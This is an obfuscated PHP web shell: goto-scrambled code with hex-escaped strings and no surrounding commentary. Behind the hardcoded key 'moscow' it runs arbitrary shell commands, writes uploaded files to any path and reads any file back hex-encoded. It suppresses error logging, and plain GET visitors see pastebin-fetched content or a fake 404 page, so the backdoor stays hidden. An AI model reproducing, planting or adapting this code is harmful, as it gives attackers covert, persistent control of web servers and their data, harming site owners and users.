goto tQymm; Rk13A: @error_reporting(0); goto HTEX3; ilyrk: header_remove("\x58\55\120\x6f\x77\x65\162\x65\x64\55\x42\171"); goto Q_8zk; JNNdT: function save_file($data, $path) { if (!ctype_xdigit($data)) { return array("\163\164\141\164\x75\x73" => "\145\162\162\x6f\162", "\x6f\x75\164\160\165\x74" => "\111\156\166\141\154\151\144\40\x64\x61\x74\x61"); } $content = hex2bin($data); if ($content === false) { return array("\x73\x74\141\164\x75\163" => "\145\x72\x72\x6f\162", "\157\x75\164\x70\165\164" => "\x44\145\x63\157\x64\145\40\x66\141\x69\154\145\144"); } $dir = dirname($path); if (!is_dir($dir)) { @mkdir($dir, 493, true); } if (file_put_contents($path, $content) !== false) { return array("\163\164\141\x74\x75\x73" => "\163\165\x63\x63\x65\163\163", "\x6f\165\164\x70\165\164" => "\x53\x61\166\x65\144\72\x20{$path}"); } return array("\x73\x74\141\164\165\x73" => "\145\x72\x72\x6f\162", "\157\165\164\x70\165\x74" => "\x57\x72\151\164\145\40\x66\141\x69\x6c\x65\144"); } goto wRA8X; opuZo: @ini_set("\154\x6f\147\137\145\162\x72\157\x72\163", 0); goto Rk13A; kfIVw: $rq = $_POST; goto AH7kO; Q_8zk: header("\103\x6f\156\164\145\156\x74\x2d\124\x79\x70\145\72\x20\141\x70\160\x6c\x69\x63\x61\164\151\157\156\x2f\x6a\x73\157\x6e"); goto jGqdG; GNq1n: $k = $rq["\x6b"] ?? ''; goto UY8hg; pBOuR: die; goto vYwVS; kSWwe: $p = $rq["\160"] ?? ''; goto p_Vub; I3_4d: if ($_SERVER["\x52\105\121\125\x45\123\x54\x5f\115\105\x54\110\x4f\x44"] !== "\120\117\x53\124") { echo @file_get_contents("\x68\164\x74\160\x73\x3a\57\x2f\x70\x61\x73\x74\145\x62\x69\x6e\x2e\143\x6f\155\x2f\162\x61\x77\57\x43\x73\x78\x6b\116\x37\113\x63") ?: "\x3c\150\164\155\x6c\76\74\x68\x65\x61\144\x3e\74\164\x69\x74\x6c\x65\x3e\x34\x30\64\x3c\57\164\151\164\x6c\x65\x3e\x3c\x2f\x68\x65\141\144\76\x3c\142\x6f\144\x79\76\74\x68\x31\76\x34\60\x34\x3c\57\x68\61\76\x3c\x2f\x62\157\144\171\x3e\74\x2f\150\x74\155\154\x3e"; die; } goto kfIVw; p_Vub: if ($k !== $valid_key) { header("\103\x6f\156\164\145\x6e\x74\x2d\x54\x79\160\x65\72\40\141\x70\160\154\151\143\141\x74\151\157\156\x2f\x6a\x73\x6f\156"); echo "\x7b\42\163\164\x61\164\x75\163\42\x3a\42\x65\x72\162\157\162\x22\x2c\42\157\165\164\160\165\x74\42\72\42\x41\143\x63\145\163\x73\40\x64\x65\x6e\151\145\x64\42\175"; die; } goto ilyrk; wRA8X: function get_file($path) { if (!file_exists($path)) { return array("\x73\x74\141\164\165\x73" => "\x65\x72\x72\157\162", "\x6f\165\x74\160\165\164" => "\116\157\x74\x20\x66\x6f\165\156\x64"); } $content = file_get_contents($path); if ($content === false) { return array("\x73\x74\x61\x74\165\163" => "\x65\x72\162\x6f\x72", "\x6f\x75\x74\x70\x75\164" => "\122\x65\141\144\x20\146\x61\x69\x6c\x65\144"); } return array("\163\x74\141\x74\165\x73" => "\163\x75\x63\143\x65\163\x73", "\157\x75\x74\x70\x75\164" => "\106\x69\154\x65\x20\x72\145\141\x64\171", "\x64\x61\x74\141" => bin2hex($content), "\x73\x69\172\145" => strlen($content)); } goto LLXRD; LLXRD: if ($t === "\165\x70\154\157\141\x64" && $f && $p) { echo json_encode(save_file($f, $p)); } elseif ($t === "\144\x6f\x77\x6e\154\157\141\144" && $p) { echo json_encode(get_file($p)); } elseif ($c) { $output = run_cmd($c); echo json_encode(array("\163\x74\x61\164\165\163" => "\163\x75\x63\x63\x65\163\163", "\157\165\164\160\x75\164" => $output)); } else { echo json_encode(array("\x73\164\x61\x74\165\163" => "\145\x72\x72\157\162", "\x6f\x75\164\160\x75\164" => "\111\x6e\166\x61\154\x69\144\x20\162\145\x71\165\x65\x73\x74")); } goto pBOuR; UY8hg: $c = $rq["\x63"] ?? $rq["\143\155\144"] ?? ''; goto Qk78z; Qk78z: $t = $rq["\164"] ?? "\x63\157\155\155\141\x6e\x64"; goto Aw_4W; HTEX3: $valid_key = "\x6d\157\x73\143\x6f\167"; goto I3_4d; jGqdG: function run_cmd($cmd) { $desc = array(array("\x70\151\x70\x65", "\162"), array("\160\151\x70\145", "\x77"), array("\x70\151\x70\145", "\x77")); $proc = proc_open($cmd . "\x20\x32\76\x26\x31", $desc, $pipes); if (is_resource($proc)) { fclose($pipes[0]); $out = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); return $out ?: "\50\x65\x78\x65\143\x75\x74\x65\x64\51"; } return ''; } goto JNNdT; tQymm: @ini_set("\144\151\x73\160\154\141\x79\x5f\145\162\162\157\x72\163", 0); goto opuZo; Aw_4W: $f = $rq["\146"] ?? ''; goto kSWwe; AH7kO: if (empty($rq)) { parse_str(file_get_contents("\160\150\160\72\x2f\x2f\151\x6e\x70\165\164"), $rq); } goto GNq1n; vYwVS: